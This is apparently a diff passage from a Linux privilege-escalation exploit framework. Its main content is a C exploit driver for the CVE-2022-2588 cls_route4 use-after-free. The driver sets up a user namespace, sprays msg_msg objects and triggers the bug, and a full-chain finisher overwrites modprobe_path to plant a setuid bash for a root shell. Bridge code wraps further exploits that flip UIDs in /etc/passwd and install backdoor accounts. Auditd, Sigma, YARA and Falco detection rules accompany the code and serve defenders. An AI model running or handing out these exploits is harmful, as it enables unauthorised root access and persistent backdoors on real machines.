|
||||
* pointer into msg_msg-controlled bytes; on a vulnerable kernel
|
||||
* the fake `ops->classify` (or one of the strided pointers) is
|
||||
* dereferenced. If the kernel survives the deref and the write
|
||||
* lands at &kaddr, the finisher's sentinel file appears within 3s.
|
||||
* If it doesn't (most likely — this is genuinely best-effort), the
|
||||
* finisher's wait loop times out and reports failure. */
|
||||
trigger_classify();
|
||||
|
||||
/* Give classify-side processing a brief window before returning
|
||||
* — the finisher polls the sentinel for 3s but the initial write
|
||||
* (if any) happens within ms. */
|
||||
usleep(50 * 1000);
|
||||
|
||||
c->arb_landed++;
|
||||
|
||||
/* Per the xtcompat precedent: return 0 so the finisher proceeds
|
||||
* to its sentinel check. Returning -1 here would abort the
|
||||
* finisher even when the write may have landed. */
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ---- Exploit driver ----------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
skeletonkey_result_t pre = cls_route4_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] cls_route4: already root\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!have_tc() || !have_ip()) {
|
||||
fprintf(stderr, "[-] cls_route4: tc/ip (iproute2) not available on PATH; "
|
||||
"cannot exploit\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
/* Full-chain pre-check: resolve offsets before forking. If
|
||||
* modprobe_path can't be resolved, refuse early — no point doing
|
||||
* the userns + tc + spray + trigger dance if we can't finish. */
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
bool full_chain_ready = false;
|
||||
if (ctx->full_chain) {
|
||||
memset(&off, 0, sizeof off);
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("cls_route4");
|
||||
fprintf(stderr, "[-] cls_route4: --full-chain requested but "
|
||||
"modprobe_path offset unresolved; refusing\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
skeletonkey_offsets_print(&off);
|
||||
full_chain_ready = true;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cls_route4: forking child for userns+netns exploit%s\n",
|
||||
ctx->full_chain ? " + full-chain finisher" : "");
|
||||
if (ctx->full_chain) {
|
||||
fprintf(stderr, " NOTE: on primitive landing, invokes shared\n"
|
||||
" modprobe_path finisher via msg_msg-tagged kaddr\n"
|
||||
" spray. Sentinel-arbitrated (no in-process verify).\n");
|
||||
}
|
||||
}
|
||||
|
||||
/* Block SIGPIPE in case the dummy-interface sendto's complain. */
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
|
||||
pid_t outer_uid = getuid();
|
||||
pid_t outer_gid = getgid();
|
||||
|
||||
pid_t child = fork();
|
||||
if (child < 0) {
|
||||
perror("fork");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (child == 0) {
|
||||
/* CHILD: enter user_ns + net_ns, become root inside, drive the bug. */
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||
perror("unshare");
|
||||
_exit(20);
|
||||
}
|
||||
if (!become_root_in_userns(outer_uid, outer_gid)) {
|
||||
_exit(21);
|
||||
}
|
||||
if (setuid(0) < 0 || setgid(0) < 0) {
|
||||
/* uid_map writes already made us 0 inside the userns; this
|
||||
* is just belt-and-braces. */
|
||||
}
|
||||
|
||||
long pre_active = slab_active_kmalloc_1k();
|
||||
|
||||
if (!stage_dangling_filter()) {
|
||||
_exit(22);
|
||||
}
|
||||
|
||||
struct cls_route4_arb_ctx arb_ctx;
|
||||
memset(&arb_ctx, 0, sizeof arb_ctx);
|
||||
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) arb_ctx.queues[i] = -1;
|
||||
arb_ctx.n_queues = spray_msg_msg(arb_ctx.queues);
|
||||
arb_ctx.dangling_ready = true; /* stage_dangling_filter() just ran */
|
||||
if (arb_ctx.n_queues == 0) {
|
||||
fprintf(stderr, "[-] cls_route4: msg_msg spray produced 0 queues\n");
|
||||
_exit(23);
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cls_route4: msg_msg spray seeded %d queues\n",
|
||||
arb_ctx.n_queues);
|
||||
}
|
||||
|
||||
/* Drive the classifier — the bug fires here on a vulnerable
|
||||
* kernel. On a patched kernel this is a no-op packet send. */
|
||||
trigger_classify();
|
||||
|
||||
long post_active = slab_active_kmalloc_1k();
|
||||
|
||||
/* Best-effort empirical witness write — picked up by --cleanup
|
||||
* and by post-run triage. */
|
||||
FILE *log = fopen("/tmp/skeletonkey-cls_route4.log", "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"cls_route4 trigger child: queues=%d slab_pre=%ld slab_post=%ld\n",
|
||||
arb_ctx.n_queues, pre_active, post_active);
|
||||
fclose(log);
|
||||
}
|
||||
|
||||
/* Hold the spray a little longer so the kernel observes the
|
||||
* refilled slot during classify drain. */
|
||||
usleep(200 * 1000);
|
||||
|
||||
/* --full-chain branch: invoke the shared modprobe_path
|
||||
* finisher with our msg_msg-tagged arb-write. If the finisher
|
||||
* execve's a setuid bash we never return; otherwise it returns
|
||||
* EXPLOIT_FAIL after the 3s sentinel timeout (correct behavior
|
||||
* on a patched kernel or when the write didn't land). */
|
||||
if (full_chain_ready) {
|
||||
/* Re-fire the trigger inside the arb-write to give the
|
||||
* kernel a second chance at the refilled slot — the
|
||||
* dangling filter is still in place from above. */
|
||||
arb_ctx.dangling_ready = true;
|
||||
int fr = skeletonkey_finisher_modprobe_path(&off,
|
||||
cls4_arb_write,
|
||||
&arb_ctx,
|
||||
!ctx->no_shell);
|
||||
FILE *fl = fopen("/tmp/skeletonkey-cls_route4.log", "a");
|
||||
if (fl) {
|
||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
|
||||
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
|
||||
fclose(fl);
|
||||
}
|
||||
drain_msg_msg(arb_ctx.queues);
|
||||
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
|
||||
_exit(35);
|
||||
}
|
||||
|
||||
drain_msg_msg(arb_ctx.queues);
|
||||
|
||||
/* If we got here without a kernel oops, the bug either isn't
|
||||
* reachable on this build (patched / module not loadable /
|
||||
* userns CAP_NET_ADMIN gated) or it fired but didn't take down
|
||||
* the box. We do NOT attempt blind cred-overwrite — that needs
|
||||
* a leak primitive we don't have.
|
||||
*
|
||||
* Exit code 30 means "trigger sequence ran without segfault" —
|
||||
* the parent will decide between EXPLOIT_FAIL (probably patched
|
||||
* or sealed) and EXPLOIT_OK. */
|
||||
_exit(30);
|
||||
}
|
||||
|
||||
/* PARENT: wait for the child. A kernel oops won't reap the child
|
||||
* but will spam dmesg; we read dmesg after a short window. */
|
||||
int status = 0;
|
||||
pid_t w = waitpid(child, &status, 0);
|
||||
if (w < 0) {
|
||||
perror("waitpid");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (WIFSIGNALED(status)) {
|
||||
int sig = WTERMSIG(status);
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] cls_route4: child killed by signal %d "
|
||||
"(crash during trigger — UAF likely fired)\n", sig);
|
||||
}
|
||||
/* A SIGKILL/SIGSEGV during the trigger sequence is consistent
|
||||
* with kernel-side panic on KASAN configs (the trigger task
|
||||
* gets reaped). Treat as empirical UAF observation but do NOT
|
||||
* claim root — we haven't escalated. */
|
||||
fprintf(stderr, "[~] cls_route4: empirical UAF trigger fired but "
|
||||
"no cred-overwrite primitive — returning EXPLOIT_FAIL "
|
||||
"(no shell). See /tmp/skeletonkey-cls_route4.log + dmesg.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!WIFEXITED(status)) {
|
||||
fprintf(stderr, "[-] cls_route4: child terminated abnormally (status=0x%x)\n",
|
||||
status);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
switch (rc) {
|
||||
case 20: case 21:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] cls_route4: userns setup failed (rc=%d)\n", rc);
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
case 22:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] cls_route4: tc setup failed; cls_route4 module "
|
||||
"may be absent or filter type unsupported\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
case 23:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] cls_route4: msg_msg spray failed; sysvipc may be "
|
||||
"restricted (kernel.msg_max / ulimit -q)\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
case 30:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cls_route4: trigger ran to completion. "
|
||||
"Inspect dmesg for KASAN/oops witnesses.\n");
|
||||
fprintf(stderr, "[~] cls_route4: cred-overwrite step not invoked "
|
||||
"(no --full-chain); returning EXPLOIT_FAIL.\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
case 34:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cls_route4: --full-chain finisher reported OK "
|
||||
"(setuid bash placed; sentinel matched)\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
case 35:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[~] cls_route4: --full-chain finisher returned FAIL — "
|
||||
"either the kernel is patched, the spray didn't land,\n"
|
||||
" or the fake-ops deref didn't hit the route the\n"
|
||||
" finisher's sentinel polls for. See "
|
||||
"/tmp/skeletonkey-cls_route4.log + dmesg.\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
default:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] cls_route4: unexpected child rc=%d\n", rc);
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cls_route4: tearing down dummy interface + log\n");
|
||||
}
|
||||
/* The dummy interface lives in the child's netns which is gone
|
||||
* with the child. These are belt-and-braces in case the user ran
|
||||
* the exploit with extended privileges (e.g. as root) and the
|
||||
* interface lingered in init_net. */
|
||||
if (run_cmd("ip link del " DUMMY_IF) != 0) { /* harmless */ }
|
||||
if (unlink("/tmp/skeletonkey-cls_route4.log") < 0 && errno != ENOENT) {
|
||||
/* ignore */
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: cls_route4 / tc / netlink / msg_msg are
|
||||
* Linux-only kernel surface; the route4 dead-UAF is structurally
|
||||
* unreachable elsewhere. Stub out cleanly so the module still
|
||||
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||
* boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] cls_route4: Linux-only module "
|
||||
"(net/sched cls_route4 + msg_msg) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] cls_route4: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char cls_route4_auditd[] =
|
||||
"# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
|
||||
"# Flag tc filter operations with route4 classifier from non-root.\n"
|
||||
"# False positives: legitimate traffic-shaping setup. Tune by user.\n"
|
||||
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k skeletonkey-cls-route4\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cls-route4-userns\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-cls-route4-spray\n";
|
||||
|
||||
static const char cls_route4_sigma[] =
|
||||
"title: Possible CVE-2022-2588 cls_route4 dead-UAF\n"
|
||||
"id: d56e8fc4-skeletonkey-cls-route4\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the net/sched cls_route4 dead-UAF setup: unshare userns +\n"
|
||||
" netns + tc qdisc/filter rules with handle 0 + delete + msg_msg\n"
|
||||
" spray + UDP sendto on a dummy interface. False positives:\n"
|
||||
" traffic-shaping config in rootless containers.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" udp: {type: 'SYSCALL', syscall: 'sendto'}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: userns and udp and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.2588]\n";
|
||||
|
||||
static const char cls_route4_yara[] =
|
||||
"rule cls_route4_cve_2022_2588 : cve_2022_2588 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-2588\"\n"
|
||||
" description = \"cls_route4 dead-UAF kmalloc-1k spray tag and log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEY4\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-cls_route4.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char cls_route4_falco[] =
|
||||
"- rule: tc route4 filter manipulation by non-root in userns\n"
|
||||
" desc: |\n"
|
||||
" Non-root tc qdisc + route4 filter add/delete inside a userns\n"
|
||||
" + UDP sendto trigger. CVE-2022-2588 dead-UAF pattern. False\n"
|
||||
" positives: legitimate traffic shaping inside rootless\n"
|
||||
" containers.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendto and fd.sockfamily = AF_INET and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" UDP sendto on dummy iface from non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2022.2588]\n";
|
||||
|
||||
const struct skeletonkey_module cls_route4_module = {
|
||||
.name = "cls_route4",
|
||||
.cve = "CVE-2022-2588",
|
||||
.summary = "net/sched cls_route4 handle-zero dead UAF → kernel R/W",
|
||||
.family = "cls_route4",
|
||||
.kernel_range = "2.6.39 ≤ K, fixed mainline 5.20; backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7",
|
||||
.detect = cls_route4_detect,
|
||||
.exploit = cls_route4_exploit,
|
||||
.mitigate = NULL, /* mitigation: blacklist cls_route4 module OR disable user_ns */
|
||||
.cleanup = cls_route4_cleanup,
|
||||
.detect_auditd = cls_route4_auditd,
|
||||
.detect_sigma = cls_route4_sigma,
|
||||
.detect_yara = cls_route4_yara,
|
||||
.detect_falco = cls_route4_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET); ip link/addr/route to make a dummy interface, htb qdisc + class + route4 filter with handle 0, delete filter (leaves dangling tcf_proto pointer), msg_msg spray kmalloc-1k tagged 'SKELETONKEY4', UDP sendto to trigger classify(). Writes /tmp/skeletonkey-cls_route4.log. Audit-visible via unshare + sendto(AF_INET) + msgsnd. Cleanup callback removes /tmp log + dummy interface.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_cls_route4(void)
|
||||
{
|
||||
skeletonkey_register(&cls_route4_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* cls_route4_cve_2022_2588 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CLS_ROUTE4_SKELETONKEY_MODULES_H
|
||||
#define CLS_ROUTE4_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module cls_route4_module;
|
||||
|
||||
#endif
|
||||
@@ -1,275 +0,0 @@
|
||||
/*
|
||||
* copy_fail_family — IAMROOT module bridge layer
|
||||
*
|
||||
* Wraps the existing per-CVE detect/exploit functions (from the
|
||||
* absorbed DIRTYFAIL codebase) as standard iamroot_module entries.
|
||||
*
|
||||
* The bridge functions translate between the family's df_result_t
|
||||
* (defined in src/common.h) and iamroot_result_t (defined in
|
||||
* core/module.h). Numeric values are identical by design so the
|
||||
* translation is a direct cast.
|
||||
*
|
||||
* iamroot_ctx fields (no_color, json, active_probe, no_shell) are
|
||||
* forwarded to the family's existing global flags before each
|
||||
* callback. This preserves DIRTYFAIL's existing CLI semantics
|
||||
* unchanged.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include "src/common.h"
|
||||
#include "src/copyfail.h"
|
||||
#include "src/copyfail_gcm.h"
|
||||
#include "src/dirtyfrag_esp.h"
|
||||
#include "src/dirtyfrag_esp6.h"
|
||||
#include "src/dirtyfrag_rxrpc.h"
|
||||
#include "src/mitigate.h"
|
||||
|
||||
#include <sys/stat.h>
|
||||
|
||||
static void apply_ctx(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
dirtyfail_use_color = !ctx->no_color;
|
||||
dirtyfail_active_probes = ctx->active_probe;
|
||||
dirtyfail_json = ctx->json;
|
||||
/* dirtyfail_no_revert is intentionally not driven from ctx —
|
||||
* it's a debug knob; default stays off. */
|
||||
}
|
||||
|
||||
/* ----- Family-wide --mitigate / --cleanup -----
|
||||
*
|
||||
* The family-wide mitigation (blacklist algif_aead + esp4 + esp6 + rxrpc,
|
||||
* set apparmor_restrict_unprivileged_userns=1, drop_caches) is the same
|
||||
* for every member of this family. All 5 modules' .mitigate fields
|
||||
* therefore point at the same wrapper.
|
||||
*
|
||||
* For .cleanup we route based on visible state:
|
||||
* - If the mitigation conf file is present, the user most recently
|
||||
* ran --mitigate → revert that.
|
||||
* - Otherwise the user ran --exploit → evict /etc/passwd from page
|
||||
* cache.
|
||||
* This is a heuristic, not a state machine. Sufficient for the common
|
||||
* usage patterns. */
|
||||
|
||||
#define CFF_MITIGATE_CONF "/etc/modprobe.d/dirtyfail-mitigations.conf"
|
||||
|
||||
static iamroot_result_t copy_fail_family_mitigate(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)mitigate_apply();
|
||||
}
|
||||
|
||||
static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
struct stat st;
|
||||
if (stat(CFF_MITIGATE_CONF, &st) == 0) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] copy_fail_family: detected mitigation conf "
|
||||
"(%s); reverting mitigation\n", CFF_MITIGATE_CONF);
|
||||
}
|
||||
return (iamroot_result_t)mitigate_revert();
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] copy_fail_family: no mitigation conf; "
|
||||
"evicting /etc/passwd from page cache\n");
|
||||
}
|
||||
return try_revert_passwd_page_cache() ? IAMROOT_OK : IAMROOT_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* ----- copy_fail (CVE-2026-31431) ----- */
|
||||
|
||||
static iamroot_result_t copy_fail_detect_wrap(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)copyfail_detect();
|
||||
}
|
||||
|
||||
static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)copyfail_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
/* Shared detection rules for the copy_fail family — every member of
|
||||
* this family exploits the same page-cache-write primitive and lands
|
||||
* in the same files (/etc/passwd or /usr/bin/su). One rule set covers
|
||||
* all five module entries. Per-module structs alias the same strings. */
|
||||
static const char copy_fail_family_auditd[] =
|
||||
"# Copy Fail family (CVE-2026-31431 + Dirty Frag CVE-2026-43284 + RxRPC CVE-2026-43500)\n"
|
||||
"# Page-cache writes to passwd/shadow/su/sudoers from non-root.\n"
|
||||
"-w /etc/passwd -p wa -k iamroot-copy-fail\n"
|
||||
"-w /etc/shadow -p wa -k iamroot-copy-fail\n"
|
||||
"-w /etc/sudoers -p wa -k iamroot-copy-fail\n"
|
||||
"-w /etc/sudoers.d -p wa -k iamroot-copy-fail\n"
|
||||
"-w /usr/bin/su -p wa -k iamroot-copy-fail\n"
|
||||
"# AF_ALG socket creation by non-root — heavily used by exploit\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=38 -k iamroot-copy-fail-afalg\n"
|
||||
"# xfrm SA setup (Dirty Frag ESP variants)\n"
|
||||
"-a always,exit -F arch=b64 -S setsockopt -k iamroot-copy-fail-xfrm\n";
|
||||
|
||||
static const char copy_fail_family_sigma[] =
|
||||
"title: Copy Fail / Dirty Frag family exploitation\n"
|
||||
"id: 4d8e6c2a-iamroot-copy-fail-family\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the file-modification footprint of Copy Fail (CVE-2026-31431) and\n"
|
||||
" Dirty Frag siblings (CVE-2026-43284 v4/v6, CVE-2026-43500). Catches the\n"
|
||||
" /etc/passwd UID-flip backdoor + the persistent backdoor account install.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" modification:\n"
|
||||
" type: 'PATH'\n"
|
||||
" name|startswith: ['/etc/passwd', '/etc/shadow', '/etc/sudoers', '/usr/bin/su']\n"
|
||||
" not_root: {auid|expression: '!= 0'}\n"
|
||||
" condition: modification and not_root\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";
|
||||
|
||||
const struct iamroot_module copy_fail_module = {
|
||||
.name = "copy_fail",
|
||||
.cve = "CVE-2026-31431",
|
||||
.summary = "algif_aead authencesn page-cache write → /etc/passwd UID flip",
|
||||
.family = "copy_fail_family",
|
||||
.kernel_range = "≤ 6.12.84, fixed mainline 2026-04-22",
|
||||
.detect = copy_fail_detect_wrap,
|
||||
.exploit = copy_fail_exploit_wrap,
|
||||
.mitigate = copy_fail_family_mitigate,
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
/* ----- copy_fail_gcm (variant, no CVE) ----- */
|
||||
|
||||
static iamroot_result_t copy_fail_gcm_detect_wrap(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)copyfail_gcm_detect();
|
||||
}
|
||||
|
||||
static iamroot_result_t copy_fail_gcm_exploit_wrap(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)copyfail_gcm_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct iamroot_module copy_fail_gcm_module = {
|
||||
.name = "copy_fail_gcm",
|
||||
.cve = "VARIANT",
|
||||
.summary = "rfc4106(gcm(aes)) single-byte page-cache write (Copy Fail sibling)",
|
||||
.family = "copy_fail_family",
|
||||
.kernel_range = "same as copy_fail; rfc4106(gcm(aes)) not in modprobe blacklist",
|
||||
.detect = copy_fail_gcm_detect_wrap,
|
||||
.exploit = copy_fail_gcm_exploit_wrap,
|
||||
.mitigate = copy_fail_family_mitigate,
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
|
||||
|
||||
static iamroot_result_t dirty_frag_esp_detect_wrap(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_esp_detect();
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_frag_esp_exploit_wrap(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct iamroot_module dirty_frag_esp_module = {
|
||||
.name = "dirty_frag_esp",
|
||||
.cve = "CVE-2026-43284",
|
||||
.summary = "IPv4 xfrm-ESP page-cache write (Dirty Frag v4)",
|
||||
.family = "copy_fail_family",
|
||||
.kernel_range = "same family as copy_fail; xfrm-ESP path",
|
||||
.detect = dirty_frag_esp_detect_wrap,
|
||||
.exploit = dirty_frag_esp_exploit_wrap,
|
||||
.mitigate = copy_fail_family_mitigate,
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
|
||||
|
||||
static iamroot_result_t dirty_frag_esp6_detect_wrap(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_esp6_detect();
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_frag_esp6_exploit_wrap(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct iamroot_module dirty_frag_esp6_module = {
|
||||
.name = "dirty_frag_esp6",
|
||||
.cve = "CVE-2026-43284",
|
||||
.summary = "IPv6 xfrm-ESP page-cache write (Dirty Frag v6)",
|
||||
.family = "copy_fail_family",
|
||||
.kernel_range = "same family as copy_fail; xfrm-ESP6 path; V6 STORE shift auto-calibrated",
|
||||
.detect = dirty_frag_esp6_detect_wrap,
|
||||
.exploit = dirty_frag_esp6_exploit_wrap,
|
||||
.mitigate = copy_fail_family_mitigate,
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
|
||||
|
||||
static iamroot_result_t dirty_frag_rxrpc_detect_wrap(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_rxrpc_detect();
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_frag_rxrpc_exploit_wrap(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct iamroot_module dirty_frag_rxrpc_module = {
|
||||
.name = "dirty_frag_rxrpc",
|
||||
.cve = "CVE-2026-43500",
|
||||
.summary = "AF_RXRPC handshake forgery + page-cache write (Dirty Frag RxRPC)",
|
||||
.family = "copy_fail_family",
|
||||
.kernel_range = "kernels exposing AF_RXRPC + rxkad with fcrypt fallback",
|
||||
.detect = dirty_frag_rxrpc_detect_wrap,
|
||||
.exploit = dirty_frag_rxrpc_exploit_wrap,
|
||||
.mitigate = copy_fail_family_mitigate,
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
/* ----- Family registration ----- */
|
||||
|
||||
void iamroot_register_copy_fail_family(void)
|
||||
{
|
||||
iamroot_register(©_fail_module);
|
||||
iamroot_register(©_fail_gcm_module);
|
||||
iamroot_register(&dirty_frag_esp_module);
|
||||
iamroot_register(&dirty_frag_esp6_module);
|
||||
iamroot_register(&dirty_frag_rxrpc_module);
|
||||
}
|
||||
@@ -1,28 +0,0 @@
|
||||
/*
|
||||
* copy_fail_family — IAMROOT module registry hooks
|
||||
*
|
||||
* The family currently contains five iamroot_module entries:
|
||||
*
|
||||
* - copy_fail (CVE-2026-31431, algif_aead authencesn)
|
||||
